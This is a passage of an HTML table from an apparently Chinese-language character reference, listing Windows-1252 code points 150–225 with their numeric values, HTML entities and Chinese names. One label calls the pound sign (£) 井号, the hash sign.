			</tr>
			<tr>
					<td style="text-align: center">150</td>
					<td style="text-align: center">96</td>
					<td style="text-align: center">226</td>
					<td style="text-align: center">10010110</td>
					<td style="text-align: center"><strong>–</strong></td>
					<td style="text-align: center"><code>&amp;#150;</code></td>
					<td style="text-align: center"><code>&amp;ndash;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">短破折号</td>
			</tr>
			<tr>
					<td style="text-align: center">151</td>
					<td style="text-align: center">97</td>
					<td style="text-align: center">227</td>
					<td style="text-align: center">10010111</td>
					<td style="text-align: center"><strong>—</strong></td>
					<td style="text-align: center"><code>&amp;#151;</code></td>
					<td style="text-align: center"><code>&amp;mdash;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">长破折号</td>
			</tr>
			<tr>
					<td style="text-align: center">152</td>
					<td style="text-align: center">98</td>
					<td style="text-align: center">230</td>
					<td style="text-align: center">10011000</td>
					<td style="text-align: center"><strong>˜</strong></td>
					<td style="text-align: center"><code>&amp;#152;</code></td>
					<td style="text-align: center"><code>&amp;tilde;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">小波浪号</td>
			</tr>
			<tr>
					<td style="text-align: center">153</td>
					<td style="text-align: center">99</td>
					<td style="text-align: center">231</td>
					<td style="text-align: center">10011001</td>
					<td style="text-align: center"><strong>™</strong></td>
					<td style="text-align: center"><code>&amp;#153;</code></td>
					<td style="text-align: center"><code>&amp;trade;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">商标符号</td>
			</tr>
			<tr>
					<td style="text-align: center">154</td>
					<td style="text-align: center">9A</td>
					<td style="text-align: center">232</td>
					<td style="text-align: center">10011010</td>
					<td style="text-align: center"><strong>š</strong></td>
					<td style="text-align: center"><code>&amp;#154;</code></td>
					<td style="text-align: center"><code>&amp;scaron;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带哈夫拉克的拉丁小写字母 S</td>
			</tr>
			<tr>
					<td style="text-align: center">155</td>
					<td style="text-align: center">9B</td>
					<td style="text-align: center">233</td>
					<td style="text-align: center">10011011</td>
					<td style="text-align: center"><strong>›</strong></td>
					<td style="text-align: center"><code>&amp;#155;</code></td>
					<td style="text-align: center"><code>&amp;rsaquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">单右尖角引号</td>
			</tr>
			<tr>
					<td style="text-align: center">156</td>
					<td style="text-align: center">9C</td>
					<td style="text-align: center">234</td>
					<td style="text-align: center">10011100</td>
					<td style="text-align: center"><strong>œ</strong></td>
					<td style="text-align: center"><code>&amp;#156;</code></td>
					<td style="text-align: center"><code>&amp;oelig;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写连字 OE</td>
			</tr>
			<tr>
					<td style="text-align: center">157</td>
					<td style="text-align: center">9D</td>
					<td style="text-align: center">235</td>
					<td style="text-align: center">10011101</td>
					<td style="text-align: center"><em><strong>unused</strong></em></td>
					<td style="text-align: center"><code>&amp;#157;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">Windows-1252 中的未使用位置</td>
			</tr>
			<tr>
					<td style="text-align: center">158</td>
					<td style="text-align: center">9E</td>
					<td style="text-align: center">236</td>
					<td style="text-align: center">10011110</td>
					<td style="text-align: center"><strong>ž</strong></td>
					<td style="text-align: center"><code>&amp;#158;</code></td>
					<td style="text-align: center"><code>&amp;zcaron;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带卡龙音符的小写拉丁字母 Z</td>
			</tr>
			<tr>
					<td style="text-align: center">159</td>
					<td style="text-align: center">9F</td>
					<td style="text-align: center">237</td>
					<td style="text-align: center">10011111</td>
					<td style="text-align: center"><strong>Ÿ</strong></td>
					<td style="text-align: center"><code>&amp;#159;</code></td>
					<td style="text-align: center"><code>&amp;Yuml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符号的大写拉丁字母 Y</td>
			</tr>
			<tr>
					<td style="text-align: center">160</td>
					<td style="text-align: center">A0</td>
					<td style="text-align: center">240</td>
					<td style="text-align: center">10100000</td>
					<td style="text-align: center"><em><strong>nbsp</strong></em></td>
					<td style="text-align: center"><code>&amp;#160;</code></td>
					<td style="text-align: center"><code>&amp;nbsp;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">不换行空格</td>
			</tr>
			<tr>
					<td style="text-align: center">161</td>
					<td style="text-align: center">A1</td>
					<td style="text-align: center">241</td>
					<td style="text-align: center">10100001</td>
					<td style="text-align: center"><strong>¡</strong></td>
					<td style="text-align: center"><code>&amp;#161;</code></td>
					<td style="text-align: center"><code>&amp;iexcl;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">倒置的感叹号</td>
			</tr>
			<tr>
					<td style="text-align: center">162</td>
					<td style="text-align: center">A2</td>
					<td style="text-align: center">242</td>
					<td style="text-align: center">10100010</td>
					<td style="text-align: center"><strong>¢</strong></td>
					<td style="text-align: center"><code>&amp;#162;</code></td>
					<td style="text-align: center"><code>&amp;cent;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">分币符号</td>
			</tr>
			<tr>
					<td style="text-align: center">163</td>
					<td style="text-align: center">A3</td>
					<td style="text-align: center">243</td>
					<td style="text-align: center">10100011</td>
					<td style="text-align: center"><strong>£</strong></td>
					<td style="text-align: center"><code>&amp;#163;</code></td>
					<td style="text-align: center"><code>&amp;pound;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">井号</td>
			</tr>
			<tr>
					<td style="text-align: center">164</td>
					<td style="text-align: center">A4</td>
					<td style="text-align: center">244</td>
					<td style="text-align: center">10100100</td>
					<td style="text-align: center"><strong>¤</strong></td>
					<td style="text-align: center"><code>&amp;#164;</code></td>
					<td style="text-align: center"><code>&amp;curren;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">货币符号</td>
			</tr>
			<tr>
					<td style="text-align: center">165</td>
					<td style="text-align: center">A5</td>
					<td style="text-align: center">245</td>
					<td style="text-align: center">10100101</td>
					<td style="text-align: center"><strong>¥</strong></td>
					<td style="text-align: center"><code>&amp;#165;</code></td>
					<td style="text-align: center"><code>&amp;yen;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">日元符号</td>
			</tr>
			<tr>
					<td style="text-align: center">166</td>
					<td style="text-align: center">A6</td>
					<td style="text-align: center">246</td>
					<td style="text-align: center">10100110</td>
					<td style="text-align: center"><strong>¦</strong></td>
					<td style="text-align: center"><code>&amp;#166;</code></td>
					<td style="text-align: center"><code>&amp;brvbar;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">断开的竖线</td>
			</tr>
			<tr>
					<td style="text-align: center">167</td>
					<td style="text-align: center">A7</td>
					<td style="text-align: center">247</td>
					<td style="text-align: center">10100111</td>
					<td style="text-align: center"><strong>§</strong></td>
					<td style="text-align: center"><code>&amp;#167;</code></td>
					<td style="text-align: center"><code>&amp;sect;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">章节符号</td>
			</tr>
			<tr>
					<td style="text-align: center">168</td>
					<td style="text-align: center">A8</td>
					<td style="text-align: center">250</td>
					<td style="text-align: center">10101000</td>
					<td style="text-align: center"><strong>¨</strong></td>
					<td style="text-align: center"><code>&amp;#168;</code></td>
					<td style="text-align: center"><code>&amp;uml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">分音符</td>
			</tr>
			<tr>
					<td style="text-align: center">169</td>
					<td style="text-align: center">A9</td>
					<td style="text-align: center">251</td>
					<td style="text-align: center">10101001</td>
					<td style="text-align: center"><strong>©</strong></td>
					<td style="text-align: center"><code>&amp;#169;</code></td>
					<td style="text-align: center"><code>&amp;copy;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">版权符号</td>
			</tr>
			<tr>
					<td style="text-align: center">170</td>
					<td style="text-align: center">AA</td>
					<td style="text-align: center">252</td>
					<td style="text-align: center">10101010</td>
					<td style="text-align: center"><strong>ª</strong></td>
					<td style="text-align: center"><code>&amp;#170;</code></td>
					<td style="text-align: center"><code>&amp;ordf;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">阴性序数指示符</td>
			</tr>
			<tr>
					<td style="text-align: center">171</td>
					<td style="text-align: center">AB</td>
					<td style="text-align: center">253</td>
					<td style="text-align: center">10101011</td>
					<td style="text-align: center"><strong>«</strong></td>
					<td style="text-align: center"><code>&amp;#171;</code></td>
					<td style="text-align: center"><code>&amp;laquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">左指向双角引号</td>
			</tr>
			<tr>
					<td style="text-align: center">172</td>
					<td style="text-align: center">AC</td>
					<td style="text-align: center">254</td>
					<td style="text-align: center">10101100</td>
					<td style="text-align: center"><strong>¬</strong></td>
					<td style="text-align: center"><code>&amp;#172;</code></td>
					<td style="text-align: center"><code>&amp;not;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">非符号</td>
			</tr>
			<tr>
					<td style="text-align: center">173</td>
					<td style="text-align: center">AD</td>
					<td style="text-align: center">255</td>
					<td style="text-align: center">10101101</td>
					<td style="text-align: center"><em><strong>shy</strong></em></td>
					<td style="text-align: center"><code>&amp;#173;</code></td>
					<td style="text-align: center"><code>&amp;shy;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">软连字符</td>
			</tr>
			<tr>
					<td style="text-align: center">174</td>
					<td style="text-align: center">AE</td>
					<td style="text-align: center">256</td>
					<td style="text-align: center">10101110</td>
					<td style="text-align: center"><strong>®</strong></td>
					<td style="text-align: center"><code>&amp;#174;</code></td>
					<td style="text-align: center"><code>&amp;reg;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">注册符号</td>
			</tr>
			<tr>
					<td style="text-align: center">175</td>
					<td style="text-align: center">AF</td>
					<td style="text-align: center">257</td>
					<td style="text-align: center">10101111</td>
					<td style="text-align: center"><strong>¯</strong></td>
					<td style="text-align: center"><code>&amp;#175;</code></td>
					<td style="text-align: center"><code>&amp;macr;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">长音符号</td>
			</tr>
			<tr>
					<td style="text-align: center">176</td>
					<td style="text-align: center">B0</td>
					<td style="text-align: center">260</td>
					<td style="text-align: center">10110000</td>
					<td style="text-align: center"><strong>°</strong></td>
					<td style="text-align: center"><code>&amp;#176;</code></td>
					<td style="text-align: center"><code>&amp;deg;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">度数符号</td>
			</tr>
			<tr>
					<td style="text-align: center">177</td>
					<td style="text-align: center">B1</td>
					<td style="text-align: center">261</td>
					<td style="text-align: center">10110001</td>
					<td style="text-align: center"><strong>±</strong></td>
					<td style="text-align: center"><code>&amp;#177;</code></td>
					<td style="text-align: center"><code>&amp;plusmn;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">加减符号</td>
			</tr>
			<tr>
					<td style="text-align: center">178</td>
					<td style="text-align: center">B2</td>
					<td style="text-align: center">262</td>
					<td style="text-align: center">10110010</td>
					<td style="text-align: center"><strong>²</strong></td>
					<td style="text-align: center"><code>&amp;#178;</code></td>
					<td style="text-align: center"><code>&amp;sup2;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">上标二</td>
			</tr>
			<tr>
					<td style="text-align: center">179</td>
					<td style="text-align: center">B3</td>
					<td style="text-align: center">263</td>
					<td style="text-align: center">10110011</td>
					<td style="text-align: center"><strong>³</strong></td>
					<td style="text-align: center"><code>&amp;#179;</code></td>
					<td style="text-align: center"><code>&amp;sup3;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">上标三</td>
			</tr>
			<tr>
					<td style="text-align: center">180</td>
					<td style="text-align: center">B4</td>
					<td style="text-align: center">264</td>
					<td style="text-align: center">10110100</td>
					<td style="text-align: center"><strong>´</strong></td>
					<td style="text-align: center"><code>&amp;#180;</code></td>
					<td style="text-align: center"><code>&amp;acute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">锐音符</td>
			</tr>
			<tr>
					<td style="text-align: center">181</td>
					<td style="text-align: center">B5</td>
					<td style="text-align: center">265</td>
					<td style="text-align: center">10110101</td>
					<td style="text-align: center"><strong>µ</strong></td>
					<td style="text-align: center"><code>&amp;#181;</code></td>
					<td style="text-align: center"><code>&amp;micro;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">微符号</td>
			</tr>
			<tr>
					<td style="text-align: center">182</td>
					<td style="text-align: center">B6</td>
					<td style="text-align: center">266</td>
					<td style="text-align: center">10110110</td>
					<td style="text-align: center"><strong>¶</strong></td>
					<td style="text-align: center"><code>&amp;#182;</code></td>
					<td style="text-align: center"><code>&amp;para;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">段落标记</td>
			</tr>
			<tr>
					<td style="text-align: center">183</td>
					<td style="text-align: center">B7</td>
					<td style="text-align: center">267</td>
					<td style="text-align: center">10110111</td>
					<td style="text-align: center"><strong>·</strong></td>
					<td style="text-align: center"><code>&amp;#183;</code></td>
					<td style="text-align: center"><code>&amp;middot;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">中点</td>
			</tr>
			<tr>
					<td style="text-align: center">184</td>
					<td style="text-align: center">B8</td>
					<td style="text-align: center">270</td>
					<td style="text-align: center">10111000</td>
					<td style="text-align: center"><strong>¸</strong></td>
					<td style="text-align: center"><code>&amp;#184;</code></td>
					<td style="text-align: center"><code>&amp;cedil;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">软音符</td>
			</tr>
			<tr>
					<td style="text-align: center">185</td>
					<td style="text-align: center">B9</td>
					<td style="text-align: center">271</td>
					<td style="text-align: center">10111001</td>
					<td style="text-align: center"><strong>¹</strong></td>
					<td style="text-align: center"><code>&amp;#185;</code></td>
					<td style="text-align: center"><code>&amp;sup1;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">上标一</td>
			</tr>
			<tr>
					<td style="text-align: center">186</td>
					<td style="text-align: center">BA</td>
					<td style="text-align: center">272</td>
					<td style="text-align: center">10111010</td>
					<td style="text-align: center"><strong>º</strong></td>
					<td style="text-align: center"><code>&amp;#186;</code></td>
					<td style="text-align: center"><code>&amp;ordm;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">阳性序数指示符</td>
			</tr>
			<tr>
					<td style="text-align: center">187</td>
					<td style="text-align: center">BB</td>
					<td style="text-align: center">273</td>
					<td style="text-align: center">10111011</td>
					<td style="text-align: center"><strong>»</strong></td>
					<td style="text-align: center"><code>&amp;#187;</code></td>
					<td style="text-align: center"><code>&amp;raquo;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">右向双角引号</td>
			</tr>
			<tr>
					<td style="text-align: center">188</td>
					<td style="text-align: center">BC</td>
					<td style="text-align: center">274</td>
					<td style="text-align: center">10111100</td>
					<td style="text-align: center"><strong>¼</strong></td>
					<td style="text-align: center"><code>&amp;#188;</code></td>
					<td style="text-align: center"><code>&amp;frac14;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">普通分数四分之一</td>
			</tr>
			<tr>
					<td style="text-align: center">189</td>
					<td style="text-align: center">BD</td>
					<td style="text-align: center">275</td>
					<td style="text-align: center">10111101</td>
					<td style="text-align: center"><strong>½</strong></td>
					<td style="text-align: center"><code>&amp;#189;</code></td>
					<td style="text-align: center"><code>&amp;frac12;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">普通分数二分之一</td>
			</tr>
			<tr>
					<td style="text-align: center">190</td>
					<td style="text-align: center">BE</td>
					<td style="text-align: center">276</td>
					<td style="text-align: center">10111110</td>
					<td style="text-align: center"><strong>¾</strong></td>
					<td style="text-align: center"><code>&amp;#190;</code></td>
					<td style="text-align: center"><code>&amp;frac34;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">普通分数四分之三</td>
			</tr>
			<tr>
					<td style="text-align: center">191</td>
					<td style="text-align: center">BF</td>
					<td style="text-align: center">277</td>
					<td style="text-align: center">10111111</td>
					<td style="text-align: center"><strong>¿</strong></td>
					<td style="text-align: center"><code>&amp;#191;</code></td>
					<td style="text-align: center"><code>&amp;iquest;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">倒置问号</td>
			</tr>
			<tr>
					<td style="text-align: center">192</td>
					<td style="text-align: center">C0</td>
					<td style="text-align: center">300</td>
					<td style="text-align: center">11000000</td>
					<td style="text-align: center"><strong>À</strong></td>
					<td style="text-align: center"><code>&amp;#192;</code></td>
					<td style="text-align: center"><code>&amp;Agrave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带重音符号的拉丁大写字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">193</td>
					<td style="text-align: center">C1</td>
					<td style="text-align: center">301</td>
					<td style="text-align: center">11000001</td>
					<td style="text-align: center"><strong>Á</strong></td>
					<td style="text-align: center"><code>&amp;#193;</code></td>
					<td style="text-align: center"><code>&amp;Aacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带锐音符的大写拉丁字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">194</td>
					<td style="text-align: center">C2</td>
					<td style="text-align: center">302</td>
					<td style="text-align: center">11000010</td>
					<td style="text-align: center"><strong>Â</strong></td>
					<td style="text-align: center"><code>&amp;#194;</code></td>
					<td style="text-align: center"><code>&amp;Acirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带扬抑符的大写拉丁字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">195</td>
					<td style="text-align: center">C3</td>
					<td style="text-align: center">303</td>
					<td style="text-align: center">11000011</td>
					<td style="text-align: center"><strong>Ã</strong></td>
					<td style="text-align: center"><code>&amp;#195;</code></td>
					<td style="text-align: center"><code>&amp;Atilde;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带波浪线的大写拉丁字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">196</td>
					<td style="text-align: center">C4</td>
					<td style="text-align: center">304</td>
					<td style="text-align: center">11000100</td>
					<td style="text-align: center"><strong>Ä</strong></td>
					<td style="text-align: center"><code>&amp;#196;</code></td>
					<td style="text-align: center"><code>&amp;Auml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符的大写拉丁字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">197</td>
					<td style="text-align: center">C5</td>
					<td style="text-align: center">305</td>
					<td style="text-align: center">11000101</td>
					<td style="text-align: center"><strong>Å</strong></td>
					<td style="text-align: center"><code>&amp;#197;</code></td>
					<td style="text-align: center"><code>&amp;Aring;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带顶圈的大写拉丁字母 A</td>
			</tr>
			<tr>
					<td style="text-align: center">198</td>
					<td style="text-align: center">C6</td>
					<td style="text-align: center">306</td>
					<td style="text-align: center">11000110</td>
					<td style="text-align: center"><strong>Æ</strong></td>
					<td style="text-align: center"><code>&amp;#198;</code></td>
					<td style="text-align: center"><code>&amp;AElig;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 AE</td>
			</tr>
			<tr>
					<td style="text-align: center">199</td>
					<td style="text-align: center">C7</td>
					<td style="text-align: center">307</td>
					<td style="text-align: center">11000111</td>
					<td style="text-align: center"><strong>Ç</strong></td>
					<td style="text-align: center"><code>&amp;#199;</code></td>
					<td style="text-align: center"><code>&amp;Ccedil;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带软音符的拉丁大写字母 C</td>
			</tr>
			<tr>
					<td style="text-align: center">200</td>
					<td style="text-align: center">C8</td>
					<td style="text-align: center">310</td>
					<td style="text-align: center">11001000</td>
					<td style="text-align: center"><strong>È</strong></td>
					<td style="text-align: center"><code>&amp;#200;</code></td>
					<td style="text-align: center"><code>&amp;Egrave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带重音符号的拉丁大写字母 E</td>
			</tr>
			<tr>
					<td style="text-align: center">201</td>
					<td style="text-align: center">C9</td>
					<td style="text-align: center">311</td>
					<td style="text-align: center">11001001</td>
					<td style="text-align: center"><strong>É</strong></td>
					<td style="text-align: center"><code>&amp;#201;</code></td>
					<td style="text-align: center"><code>&amp;Eacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带锐音符号的拉丁大写字母 E</td>
			</tr>
			<tr>
					<td style="text-align: center">202</td>
					<td style="text-align: center">CA</td>
					<td style="text-align: center">312</td>
					<td style="text-align: center">11001010</td>
					<td style="text-align: center"><strong>Ê</strong></td>
					<td style="text-align: center"><code>&amp;#202;</code></td>
					<td style="text-align: center"><code>&amp;Ecirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带扬抑符的拉丁大写字母 E</td>
			</tr>
			<tr>
					<td style="text-align: center">203</td>
					<td style="text-align: center">CB</td>
					<td style="text-align: center">313</td>
					<td style="text-align: center">11001011</td>
					<td style="text-align: center"><strong>Ë</strong></td>
					<td style="text-align: center"><code>&amp;#203;</code></td>
					<td style="text-align: center"><code>&amp;Euml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符号的大写拉丁字母 E</td>
			</tr>
			<tr>
					<td style="text-align: center">204</td>
					<td style="text-align: center">CC</td>
					<td style="text-align: center">314</td>
					<td style="text-align: center">11001100</td>
					<td style="text-align: center"><strong>Ì</strong></td>
					<td style="text-align: center"><code>&amp;#204;</code></td>
					<td style="text-align: center"><code>&amp;Igrave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带重音符号的大写拉丁字母 I</td>
			</tr>
			<tr>
					<td style="text-align: center">205</td>
					<td style="text-align: center">CD</td>
					<td style="text-align: center">315</td>
					<td style="text-align: center">11001101</td>
					<td style="text-align: center"><strong>Í</strong></td>
					<td style="text-align: center"><code>&amp;#205;</code></td>
					<td style="text-align: center"><code>&amp;Iacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带锐音符号的大写拉丁字母 I</td>
			</tr>
			<tr>
					<td style="text-align: center">206</td>
					<td style="text-align: center">CE</td>
					<td style="text-align: center">316</td>
					<td style="text-align: center">11001110</td>
					<td style="text-align: center"><strong>Î</strong></td>
					<td style="text-align: center"><code>&amp;#206;</code></td>
					<td style="text-align: center"><code>&amp;Icirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带扬抑符的大写拉丁字母 I</td>
			</tr>
			<tr>
					<td style="text-align: center">207</td>
					<td style="text-align: center">CF</td>
					<td style="text-align: center">317</td>
					<td style="text-align: center">11001111</td>
					<td style="text-align: center"><strong>Ï</strong></td>
					<td style="text-align: center"><code>&amp;#207;</code></td>
					<td style="text-align: center"><code>&amp;Iuml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符号的大写拉丁字母 I</td>
			</tr>
			<tr>
					<td style="text-align: center">208</td>
					<td style="text-align: center">D0</td>
					<td style="text-align: center">320</td>
					<td style="text-align: center">11010000</td>
					<td style="text-align: center"><strong>Ð</strong></td>
					<td style="text-align: center"><code>&amp;#208;</code></td>
					<td style="text-align: center"><code>&amp;ETH;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁大写字母 Eth</td>
			</tr>
			<tr>
					<td style="text-align: center">209</td>
					<td style="text-align: center">D1</td>
					<td style="text-align: center">321</td>
					<td style="text-align: center">11010001</td>
					<td style="text-align: center"><strong>Ñ</strong></td>
					<td style="text-align: center"><code>&amp;#209;</code></td>
					<td style="text-align: center"><code>&amp;Ntilde;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带波浪线的拉丁大写字母 N</td>
			</tr>
			<tr>
					<td style="text-align: center">210</td>
					<td style="text-align: center">D2</td>
					<td style="text-align: center">322</td>
					<td style="text-align: center">11010010</td>
					<td style="text-align: center"><strong>Ò</strong></td>
					<td style="text-align: center"><code>&amp;#210;</code></td>
					<td style="text-align: center"><code>&amp;Ograve;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带重音符号的拉丁大写字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">211</td>
					<td style="text-align: center">D3</td>
					<td style="text-align: center">323</td>
					<td style="text-align: center">11010011</td>
					<td style="text-align: center"><strong>Ó</strong></td>
					<td style="text-align: center"><code>&amp;#211;</code></td>
					<td style="text-align: center"><code>&amp;Oacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带锐音符号的拉丁大写字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">212</td>
					<td style="text-align: center">D4</td>
					<td style="text-align: center">324</td>
					<td style="text-align: center">11010100</td>
					<td style="text-align: center"><strong>Ô</strong></td>
					<td style="text-align: center"><code>&amp;#212;</code></td>
					<td style="text-align: center"><code>&amp;Ocirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带扬抑符的拉丁大写字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">213</td>
					<td style="text-align: center">D5</td>
					<td style="text-align: center">325</td>
					<td style="text-align: center">11010101</td>
					<td style="text-align: center"><strong>Õ</strong></td>
					<td style="text-align: center"><code>&amp;#213;</code></td>
					<td style="text-align: center"><code>&amp;Otilde;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带波浪线的大写拉丁字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">214</td>
					<td style="text-align: center">D6</td>
					<td style="text-align: center">326</td>
					<td style="text-align: center">11010110</td>
					<td style="text-align: center"><strong>Ö</strong></td>
					<td style="text-align: center"><code>&amp;#214;</code></td>
					<td style="text-align: center"><code>&amp;Ouml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符的大写拉丁字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">215</td>
					<td style="text-align: center">D7</td>
					<td style="text-align: center">327</td>
					<td style="text-align: center">11010111</td>
					<td style="text-align: center"><strong>×</strong></td>
					<td style="text-align: center"><code>&amp;#215;</code></td>
					<td style="text-align: center"><code>&amp;times;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">乘号</td>
			</tr>
			<tr>
					<td style="text-align: center">216</td>
					<td style="text-align: center">D8</td>
					<td style="text-align: center">330</td>
					<td style="text-align: center">11011000</td>
					<td style="text-align: center"><strong>Ø</strong></td>
					<td style="text-align: center"><code>&amp;#216;</code></td>
					<td style="text-align: center"><code>&amp;Oslash;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带删节线的大写拉丁字母 O</td>
			</tr>
			<tr>
					<td style="text-align: center">217</td>
					<td style="text-align: center">D9</td>
					<td style="text-align: center">331</td>
					<td style="text-align: center">11011001</td>
					<td style="text-align: center"><strong>Ù</strong></td>
					<td style="text-align: center"><code>&amp;#217;</code></td>
					<td style="text-align: center"><code>&amp;Ugrave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带重音符号的大写拉丁字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">218</td>
					<td style="text-align: center">DA</td>
					<td style="text-align: center">332</td>
					<td style="text-align: center">11011010</td>
					<td style="text-align: center"><strong>Ú</strong></td>
					<td style="text-align: center"><code>&amp;#218;</code></td>
					<td style="text-align: center"><code>&amp;Uacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带锐音符的大写拉丁字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">219</td>
					<td style="text-align: center">DB</td>
					<td style="text-align: center">333</td>
					<td style="text-align: center">11011011</td>
					<td style="text-align: center"><strong>Û</strong></td>
					<td style="text-align: center"><code>&amp;#219;</code></td>
					<td style="text-align: center"><code>&amp;Ucirc;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带扬抑符的大写拉丁字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">220</td>
					<td style="text-align: center">DC</td>
					<td style="text-align: center">334</td>
					<td style="text-align: center">11011100</td>
					<td style="text-align: center"><strong>Ü</strong></td>
					<td style="text-align: center"><code>&amp;#220;</code></td>
					<td style="text-align: center"><code>&amp;Uuml;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带分音符的大写拉丁字母 U</td>
			</tr>
			<tr>
					<td style="text-align: center">221</td>
					<td style="text-align: center">DD</td>
					<td style="text-align: center">335</td>
					<td style="text-align: center">11011101</td>
					<td style="text-align: center"><strong>Ý</strong></td>
					<td style="text-align: center"><code>&amp;#221;</code></td>
					<td style="text-align: center"><code>&amp;Yacute;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带锐音符的大写拉丁字母 Y</td>
			</tr>
			<tr>
					<td style="text-align: center">222</td>
					<td style="text-align: center">DE</td>
					<td style="text-align: center">336</td>
					<td style="text-align: center">11011110</td>
					<td style="text-align: center"><strong>Þ</strong></td>
					<td style="text-align: center"><code>&amp;#222;</code></td>
					<td style="text-align: center"><code>&amp;THORN;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁字母 Thorn</td>
			</tr>
			<tr>
					<td style="text-align: center">223</td>
					<td style="text-align: center">DF</td>
					<td style="text-align: center">337</td>
					<td style="text-align: center">11011111</td>
					<td style="text-align: center"><strong>ß</strong></td>
					<td style="text-align: center"><code>&amp;#223;</code></td>
					<td style="text-align: center"><code>&amp;szlig;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">拉丁小写字母长 s</td>
			</tr>
			<tr>
					<td style="text-align: center">224</td>
					<td style="text-align: center">E0</td>
					<td style="text-align: center">340</td>
					<td style="text-align: center">11100000</td>
					<td style="text-align: center"><strong>à</strong></td>
					<td style="text-align: center"><code>&amp;#224;</code></td>
					<td style="text-align: center"><code>&amp;agrave;</code></td>
					<td style="text-align: center"></td>
					<td style="text-align: center">带重音符号的拉丁小写字母 a</td>
			</tr>
			<tr>
					<td style="text-align: center">225</td>
					<td style="text-align: center">E1</td>
					<td style="text-align: center">341</td>
					<td style="text-align: center">11100001</td>
					<td style="text-align: center"><strong>á</strong></td>
					<td style="text-align: center"><code>&amp;#225;</code></td>
